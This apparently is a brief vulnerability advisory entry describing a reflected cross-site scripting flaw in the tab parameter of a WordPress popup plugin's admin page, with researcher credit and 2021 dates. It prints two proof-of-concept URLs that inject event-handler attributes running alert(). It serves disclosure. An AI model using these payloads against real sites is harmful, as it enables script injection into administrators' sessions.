The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
/wp-admin/admin.php?page=popup-wp-supsystic&tab="onmouseover=alert(1)// /wp-admin/admin.php?page=popup-wp-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
0xB9
0xB9
Yes
2021-04-19 (about 1 years ago)
2021-04-19 (about 1 years ago)
2021-04-20 (about 1 years ago)